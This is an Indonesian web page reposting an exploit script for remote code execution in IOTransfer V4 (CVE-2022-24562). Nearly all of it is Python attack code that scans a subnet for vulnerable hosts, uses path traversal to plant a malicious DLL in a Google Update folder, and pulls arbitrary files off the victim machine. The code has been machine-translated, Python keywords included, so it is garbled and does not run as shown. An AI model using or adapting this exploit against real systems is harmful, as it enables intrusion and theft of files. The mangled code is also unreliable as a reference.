Eksekusi Kode Jarak Jauh IOTransfer 4.0

  • Whatsapp
Backdoor.Win32.Nucleroot.mf Buffer Overflow
BackdoorWinNuclerootmf Buffer Overflow

[*]News.nextcloud.asia

# Judul Eksploitasi: IOTransfer V4 – Eksekusi Kode Jarak Jauh (RCE)
# Tanggal: 22/06/2022
# Eksploitasi Penulis: Tomer Peled
# Beranda Vendor: https://www.iobit.com
# Tautan Perangkat Lunak: https://iotransfer.itopvpn.com/
# Versi: V4 dan seterusnya
# Diuji pada: Windows 10
#CVE : 2022-24562
# Referensi: https://github.com/tomerpeled92/CVE/tree/main/CVE-2022%E2%80%9324562

impor kami
dari urllib3.exceptions impor ConnectTimeoutError
dari impor win32com.client *
permintaan impor
impor json

localPayloadPath = r”c:\temp\malicious.dll”
remotePayloadPath=”../Program Files (x86)/Google/Update/goopdate.dll”
remoteDownloadPath = r’C:\Users\User\Desktop\obligationservlet.pdf’
Rentang = “192.168.89”
UpOrDown=”Unggah”
IP = “”
Nama Pengguna = “”

def get_version_number(file_path):
information_parser = Dispatch(“Scripting.FileSystemObject”)
versi = information_parser.GetFileVersion(file_path)
versi kembali

def getTaskList(IP, taskid=””):
print(“Mendapatkan daftar tugas…”)
url = f’http://{IP}:7193/index.php?action=gettasklist&userid=*’
res = request.get(url)
tugas = json.loads(res.content)
tugas = json.loads(tugas[‘content’])
untuk tugas dalam tugas[‘tasks’]:
jika tugas == tugas[‘taskid’]:
print(f”ID Tugas ditemukan: {taskid}”)

def CreateUploadTask(IP):
SetSavePath(IP)
url = f’http://{IP}:7193/index.php?action=createtask’
tugas = {
‘metode’: ‘dapatkan’,
‘versi 1’,
‘identitas pengguna’: ‘*’,
‘status tugas’: ‘0’,
}
res = request.post(url, json=task)
tugas = json.loads(res.content)
tugas = json.loads(tugas[‘content’])
tugas = tugas[‘taskid’]
cetak (p”[*] ID Tugas: {taskid}”)
kembali tugas

def CreateUploadDetailNode(IP, taskid, remotePath, size=”100″):
url = f’http://{IP}:7193/index.php?action=settaskdetailbyindex&userid=*&taskid={taskid}&index=0′
info_file = {
‘ukuran’: ukuran,
‘savefilename’: remotePath,
‘nama’: remotePath,
‘fullpath’: r’c:\windows\system32\calc.exe’,
‘md5’: ‘md5md5md5md5md5’,
‘tipe file’: ‘3’,
}
res = request.post(url, json=file_info)
js = json.loads(res.content)
cetak (p”[V] Buat Detail yang dikembalikan: {js[‘code’]}”)

def readFile(Jalur):
file = buka(Jalur, “rb”)
byte = file.baca(1)
berikutnya = “Mulai”
sementara berikutnya != b”:
byte = byte + file.read(1023)
selanjutnya = file.read(1)
jika selanjutnya != b”:
byte = byte + selanjutnya
file.close()
kembali byte

def CallUpload ( IP , tolak , localPayloadPath ):
url = f’http://{IP}:7193/index.php?action=newuploadfile&userid=*&taskid={taskid}&index=0′
send_data = readFile(localPayloadPath)
mencoba:
res = request.post(url, data=send_data)
js = json.loads(res.content)
jika js[‘code’] == 200:
mencetak(“[V] Payload sukses diunggah!”)
kalau tidak:
print(f”BuatRemoteFile: {res.content}”)
kecuali:
mencetak(“[*] Menggunakan kembali tugas…”)
res = request.post(url, data=send_data)
js = json.loads(res.content)
jika js[‘code’] == 200 atau “salah” di js[‘error’]:
mencetak(“[V] Payload sukses diunggah!”)
kalau tidak:
cetak (p”[X] CreateRemoteFile Gagal: {res.content}”)

def SetSavePath(IP):
url = f’http://{IP}:7193/index.php?action=setiotconfig’
konfigurasi = {
‘tasksavepath’: ‘C:\\Program ‘
}
request.post(url, json=config)

def ExploitUpload(IP,payloadPath,rPath,taskid =None):
jika tidak tugas:
taskid = BuatUploadTask(IP)
ukuran = os.path.getsize(payloadPath)
CreateUploadDetailNode(IP, taskid, remotePath=rPath, size=str(size))
CallUpload (IP, taskid, payloadPath)

def CreateDownloadTask(IP, Path) -> str:
url = f’http://{IP}:7193/index.php?action=createtask’
tugas = {
‘metode’: ‘dapatkan’,
‘versi 1’,
‘identitas pengguna’: ‘*’,
‘status tugas’: ‘0’,
‘filepath’: Jalur
}
res = request.post(url, json=task)
tugas = json.loads(res.content)
tugas = json.loads(tugas[‘content’])
tugas = tugas[‘taskid’]
print(f”ID Tugas: {taskid}”)
kembali tugas

def ExploitDownload(IP, DownloadPath, ID=None):
jika ID:
url = f’http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={ID}’
kalau tidak:
taskid = CreateDownloadTask(IP, DownloadPath)
url = f’http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={taskid}’
res = request.get(url)
kembalikan res

def ScanIP (mulaiRange):
mencetak(“[*] Mencari IP yang rentan”, end=”)
Arus = 142
IP = f”{startRange}. {Saat ini}”
RentanIP: str = “”
Nama Pengguna: str = “”
sedangkan Arus < 252:
cetak(“.”, akhir=”)
url = f’http://{IP}:7193/index.php?action=getpcname&userid=*’
mencoba:
res = request.get(url, timeout=1)
js = json.loads(res.content)
js2 = json.loads(js[‘content’])
Nama Pengguna = js2[‘name’]
RentanIP=IP
cetak(f”\n[V] Menemukan IP Rentan: {VulnerableIP}”)
cetak (p”[!] Nama pengguna PC yang rentan: {UserName}”)
kembalikan IP Rentan, Nama Pengguna
kecuali Pengecualian sebagai e:
lulus
kecuali ConnectTimeoutError:
lulus
IP = f”{startRange}. {Saat ini}”
Arus = Arus + 1
kembali Tidak Ada, Tidak Ada

jika __name__ == ‘__main__’:
IP,Nama Pengguna = ScanIP(Rentang)
jika IP Tidak Ada atau Nama Pengguna Tidak Ada:
mencetak(“[X] Tidak ada IP rentan yang ditemukan”)
KELUAR()
mencetak(“[*] Mulai Eksploitasi…”)
jika UpOrDown == “Unggah”:
cetak (p”[*]Jalur Payload Lokal: {localPayloadPath}”)
cetak (p”[*]Jalur Upload Jarak Jauh: {remotePayloadPath}”)
ExploitUpload (IP,PayloadPath lokal,Jalur Payload jarak jauh)
elif UpOrDown == “Unduh”:
cetak (p”[*] Mengunduh file: {remoteDownloadPath}”)
res = ExploitDownload(IP, remoteDownloadPath)
file = buka(“keluar.pdf”, “wb+”)
file.tulis(res.konten)
file.close()

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.